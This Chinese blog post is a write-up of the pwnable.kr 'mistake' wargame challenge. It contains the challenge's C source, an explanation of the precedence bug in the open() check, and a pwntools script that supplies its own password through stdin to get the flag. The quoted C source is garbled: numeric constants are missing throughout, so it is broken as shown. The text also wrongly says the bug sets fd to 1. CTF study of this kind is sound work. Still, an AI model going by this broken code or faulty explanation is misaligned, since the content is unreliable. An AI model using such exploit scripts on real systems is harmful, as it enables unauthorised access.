又一道pwnable,我还没放弃。。

ssh mistake@pwnable.kr -p2222 (pw:guest)

源代码如下:

#include <stdio.h>
#include <fcntl.h> #define PW_LEN 10
#define XORKEY 1 void xor(char* s, int len){
int i;
for(i=; i<len; i++){
s[i] ^= XORKEY;
}
} int main(int argc, char* argv[]){ int fd;
if(fd=open("/home/mistake/password",O_RDONLY,) < ){
printf("can't open password %d\n", fd);
return ;
} printf("do not bruteforce...\n");
sleep(time()%); char pw_buf[PW_LEN+];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > )){
printf("read error\n");
close(fd);
return ;
} char pw_buf2[PW_LEN+];
printf("input password : ");
scanf("%10s", pw_buf2); // xor your input
xor(pw_buf2, ); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
} close(fd);
return ;
}

源代码中,对于文件打开错误条件判断出有问题

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

这就是为什么程序运行时会有卡顿。

利用pwntools的sendline函数可以解决。

from pwn import *
import time
s= ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)
s.connected()
pro = s.process('/home/mistake/mistake')
print pro.recv() fd_content = 'p4nda'+'\0'
fd_change = ""
for i in fd_content:
fd_change += chr(ord(i) ^ 1)
pro.sendline(fd_content)
print pro.recv()
print fd_content
print '[+] Sleep over.'
pro.sendline(fd_change)
print pro.recv()

发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

【pwnable.kr】 mistake的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  4. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  5. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  6. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  7. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  8. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  9. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

随机推荐

  1. Task使用注意

    1. CancellationTokenSource的使用 https://binary-studio.com/2015/10/23/task-cancellation-in-c-and-things ...

  2. python编写的banner获取代码的两种方式

    1.无选项和帮助信息 #!/usr/bin/env python #coding:utf-8 import socket import sys import os from threading imp ...

  3. 在ListView头和尾添加东西

    直接上代码 import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view ...

  4. 如何使用linux查看tomcat日志

  5. docker学习笔记-03:docker的镜像原理

    镜像是一种轻量级.可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件.它包含运行某个环境所需的所有内容,包括代码.库.环境变量和配置文件. 一.镜像是什么 (一).联合文件系统(Unio ...

  6. sql数据库系统表和mysql系统表

    sql数据库系统表,常用的(sysobjects,sysindexes,sysindexkeys,SYSCOLUMNS,SYSTYPES 及更多解释说明): https://docs.microsof ...

  7. Git删除无效远程分支

    当远程分支删除的时候,本地同步下来的远程分支却不会删除,久而久之,本地积累了不少无效的远程分支.找了一下,可以用如下命令清除它们: git remote update -p

  8. 树莓派 Raspberry 软件源更改 看门狗启用

    看门狗无法在pi1上执行,似乎后更高级的pi上面才可用 1.替换脚本 下面脚本请直接复制到终端执行!! 适用于raspbian-stretch(基于Debian9) sudo -s echo -e & ...

  9. SpringBoot-拦截器配置

    SpringBoot-拦截器配置 SpringBoot-拦截器配置 在我们的SSM项目中,可以在web.xml中配置拦截器,但是在SpringBoot中只能使用java类来配置,配置方法如下. 创建拦 ...

  10. TCP/IP 三次握手,四次断开

    TCP/IP 三次握手,四次断开 一.TCP报文格式                     TCP/IP协议的详细信息参看<TCP/IP协议详解>三卷 本. 下面是TCP报文格式图: 图 ...